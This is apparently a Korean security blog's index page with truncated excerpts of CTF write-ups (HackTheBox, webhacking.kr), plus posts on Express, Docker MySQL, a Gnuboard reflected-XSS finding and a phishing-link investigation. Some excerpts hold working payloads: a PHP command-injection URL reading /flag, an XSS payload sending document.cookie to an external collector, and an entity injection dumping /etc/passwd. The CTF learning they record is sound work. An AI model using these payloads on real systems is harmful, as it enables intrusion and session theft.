HackTheBox LoveTok write-up

문제에 접근하면 제일 처음 이런 화면을 볼 수 있다. 사실 문제 소스가 제공되는 문제이다. format을 입력하면 그에 맞는 포맷으로 시간을 리턴하는 간단한 웹페이지다. 하지만 포맷을 입력할 때 다음과 같은 코드를 사용한다. PHP에서는 string 안에서 변수에 접근하거나 함수를 실행할 수 있기 때문에 system() 함수를 실행할 수 있다. http://138.68.182.108:31769/?format={$_GET[0]($_GET[1])}&0=system&1=ls+-al+/;cat+/flagmKC78 끝이다.

webhacking.kr CHILD write-up

문제 분석 전형적인 XSS 문제이고, CSP를 우회하는 문제이다. 해당 문제의 Header를 보면 다음과 같다. script-src https://*.google.com/ 으로 되어있다. google의 서비스 중 하나를 찾아서 reflective한 값을 출력해주는 곳을 찾아야 하겠다. Exploit. ?inject=%3Cscript+src=%22https://accounts.google.com/o/oauth2/revoke?callback=(location.href=%27https://enl33h4vtg95t8o.m.pipedream.net/?c=%27%252bdocument.cookie);%22%3E%3C/script%3E 레퍼런스에서 찾은 구글 서비스 중에 accounts.google.com이 문자 사..

HackTheBox baby website rick write-up

>>> pickletools.dis(b64decode(code)) 0: ( MARK 1: d DICT (MARK at 0) 2: p PUT 0 5: S STRING 'serum' 14: p PUT 1 17: c GLOBAL 'copy_reg _reconstructor' 42: p PUT 2 45: ( MARK 46: c GLOBAL '__main__ anti_pickle_serum' 74: p PUT 3 77: c GLOBAL '__builtin__ object' 97: p PUT 4 100: N NONE 101: t TUPLE (MARK at 45) 102: p PUT 5 105: R REDUCE 106: p PUT 6 109: s SETITEM 110: . STOP highest protocol am..

HackTheBox baby breaking grad write-up

오랜만에 CTF 하는 것처럼 긴장감있던 문제였다. 취약점 분석 1트 문제에 처음 접근하면 다음과 같은 화면을 볼 수 있다. Kenny Baker나 Jack Purvis를 선택하고 'Did I pass?' 버튼을 클릭하면 /api/calculate에 HTTP Post 요청을 보내서 값을 확인한다. Kenny Baker를 선택하고 버튼을 누르면 {"name":"Kenny Baker"}가 전송된다. "Kenny Baker"를 {}로 바꾸어 보냈더니 다음과 같이 500 에러가 떴다. Javascript Prototype Pollution으로 푸는 문제인가 싶어서 계속 삽질했다. 출제자 인성 너무하네 싶을 때 쯤 소스를 제공해주는 문제임을 깨달았다. 2트 /api/calculate를 보았다. 아무래도 이 부분을 ..

HackTheBox baby todo or not todo write-up

소스가 제공되는 문제이다. Python Flask로 구동된다. Broken Authentication 문제이며 고등학생 때는 이런 문제를 보면 더러운 문제라고 욕했지만, 실제로 회사에서 진행했던 펜테스팅 프로젝트에서 Broken Authentication 상태의 웹 서비스를 많이 볼 수 봐서 그런지 이 문제에 공감이 많이 되었다. 소스분석 /challenge/application/blueprints/routes.py 에 들어가보면 URL에 매핑된 코드들을 볼 수 있다. TODO를 봐도 알 수 있지만 딱봐도 아무런 인증 구현없이 모든 todo objects를 뿌리는 걸 볼 수 있다. 여기에 접속했더니 flag가 있다. 익스플로잇. 139.59.178.146:30794/api/list/all/?secret=..

HackTheBox baby WAFfles order write-up

이 문제는 소스코드가 제공되는 줄 모르고 계속 삽질하다가 포기했었다. 근데 다시 보니까 소스코드가 있었고, 한 3분만에 풀었다. 소스 분석 문제에서 제공된 index.php 의 소스코드는 아래와 같다. asdf&internal; asdf 아래와 같은 Response를 받았다. Your asdfroot:x:0:0:root:/root:/bin/ash bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin adm:x:3:4:adm:/var/adm:/sbin/nologin lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin sync:x:5:0:sync:/sbin:/bin/sync shutdown:x:6:0:shutd..

How to show image, not download in nodejs express

const attachment = await AttachmentAPI.get_file_by_id(attachment_id); /* ... */ const filename = attachment.filename; const extension = filename.split('.').pop().toLowerCase(); /* ... */ res.contentType(`image/${extension}`); /* ... */ try { const content = await fs.readFileSync(attachment.path); res.end(content); } catch (error) { // Error Handling } Use res.end(), not res.send() OK?

How to connect to MySQL running in Docker

고등학교 때만 해도 'Docker는 어렵다!'라는 생각이 머릿 속에 박혀있던 탓에, Dockerizing을 하지 않았다. 그게 심지어 해킹대회 문제였을지라도 Linux의 기본 RWX 권한을 사용해 시스템을 구축했었다. docker-compose 라는 도구를 알게 되고, 회사에서도 반복적으로 Dockerizing을 한 결과 Docker를 능수능란하게 다룰 수 있게 되었다. Docker 안에 데이터베이스 서버를 넣고 해당 서버에 접속하기 위한 2가지 방법이 있는데 오늘은 그것을 까먹지 않기 위해 적어보려고 한다. 방법 1. mysql -h localhost -P 3306 --protocol=tcp -u root -p mysql-client에 --protocol 옵션을 사용해서 접속하는 방법. 방법 2. su..

재밌는 그누보드 RXSS

0. 개요 회사에서 사이드프로젝트 느낌으로 오픈소스 CMS 분석을 하고 있다. 고등학교 1학년 때부터 그누보드를 취약점 분석해보겠다고 말만 하다가 처음으로 진지하게 분석해보고 있는데, 생각보다 취약점을 쉽게 찾을 수 있었다. 거의 RXSS이긴 했지만 그래도 취약점은 취약점이니깐 🤭 ㅎ 1. 취약점 분석 🎮 그누보드만의 특징이라고 하면 이것을 빼놓을 수 없다. 아래는 그누보드를 한번이라도 분석해 본 사람이라면 알 common.php 의 코드이다. common.php는 거의 모든 파일에서 include 되어 실행되며, extract() 함수를 사용하여 사용자로부터 변수를 입력받는다. 이 점 덕분에 변수를 편하게 사용할 수 있다는 점이 장점이지만, 보안 취약점에 노출된다는 큰 단점이 생긴다. $_GET과 $_..

여자친구 해킹 시도한 중국인 해커들 뚜까팬 썰

사건 개요 👽 어느날 여자친구랑 같이 있다가 여자친구 핸드폰으로 문자메시지가 착신되었다. 정확히는 기억이 나질 않는데, 여자친구가 클릭해보고 나서 '이 페이지는 위험합니다'라는 메시지가 떴다고 알려줘서 피싱 사이트겠다고 추측했다. 그냥 호기심에 저 URL을 분석해보기 시작했다. URL 분석 🤺 문자에 첨부된 URL에 curl을 통해 HTTP Request를 보냈더니 아래와 같은 Response가 도착했다. ➜ ~ curl -lvvv http://reurl.kr/464D5677VB * Trying 210.180.118.169... * TCP_NODELAY set * Connected to reurl.kr (210.180.118.169) port 80 (#0) > GET /464D5677VB HTTP/1.1..